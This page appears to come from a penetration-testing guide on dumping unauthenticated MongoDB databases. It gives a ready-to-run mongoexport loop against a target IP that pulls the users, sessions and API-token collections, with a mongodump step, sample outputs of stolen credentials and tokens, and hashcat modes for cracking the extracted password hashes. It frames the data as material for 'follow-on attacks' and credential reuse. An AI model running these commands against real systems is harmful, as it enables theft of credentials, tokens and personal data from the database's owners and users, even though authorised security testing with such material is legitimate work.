MongoDB Unauthenticated Data Extraction
Unauthenticated MongoDB access gives direct read access to all collections across all databases. The extraction goal is to pull high-value data efficiently — credentials, session tokens, API keys, and PII — then stage it for reporting and follow-on attacks. Confirm unauthenticated access first through unauthenticated access testing before running bulk extraction.
Quick Collection Sample
Before bulk dumping, pull one document from each high-value collection to confirm content and structure:
{
_id: ObjectId('507f1f77bcf86cd799439011'),
username: 'admin',
password: '$2b$12$LQv3c1yqBWVHxkd0LHAkCOYz6TtxMQJqhN',
email: '[email protected]',
role: 'administrator',
api_key: 'sk-prod-xK2aB1cD3eF4'
}
Extract All Credentials from Users Collection
{"username":"admin","password":"$2b$12$LQv3...","email":"[email protected]","role":"administrator"}
{"username":"editor","password":"$2b$12$abc...","email":"[email protected]","role":"editor"}
Crack extracted bcrypt hashes with hashcat mode 3200. MD5 hashes use mode 0, SHA1 uses mode 100:
Extract API Tokens and Session Data
{"user_id":"admin","token":"sk-prod-xK2aB1cD3eF4gH5i","created":"2026-01-01","scope":"admin"}
{"user_id":"editor","token":"sk-prod-qR1sT2uV3wX4y","created":"2026-01-15","scope":"write"}
Dump Full Database with mongoexport
mongoexport produces clean JSON output per collection suitable for offline analysis and reporting:
mkdir -p /tmp/mongo_dump/$TARGET_IP
for col in users sessions api_tokens orders; do
mongoexport --host $TARGET_IP --port 27017 --db appdb --collection $col --out /tmp/mongo_dump/$TARGET_IP/${col}.json 2>/dev/null
echo "$col: $(wc -l < /tmp/mongo_dump/$TARGET_IP/${col}.json) documents"
done
users: 47 documents sessions: 312 documents api_tokens: 23 documents orders: 8492 documents
Dump All Databases with mongodump
mongodump creates BSON archives of every database. Use this for a complete dump when you need everything:
done dumping appdb.users (47 documents) done dumping appdb.api_tokens (23 documents) done dumping admin.system.users (3 documents)
The admin.system.users collection in the dump contains MongoDB user credentials including SCRAM-SHA password hashes — useful for credential reuse and offline cracking even if the plaintext application passwords are already obtained.
Search All Collections for Sensitive Keywords
When collection names are non-obvious, search across all databases for fields containing credential patterns:
appdb.users: {"username":"admin","password":"$2b$12$LQv..."
appdb.api_tokens: {"user_id":"admin","token":"sk-prod-xK2.."
References
-
MongoDB — mongoexportwww.mongodb.com/docs/database-tools/mongoexport (opens in new tab)
Collection export to JSON/CSV format
-
MongoDB — mongodumpwww.mongodb.com/docs/database-tools/mongodump (opens in new tab)
Full database archive creation including system collections
Was this helpful?
Your feedback helps improve this page.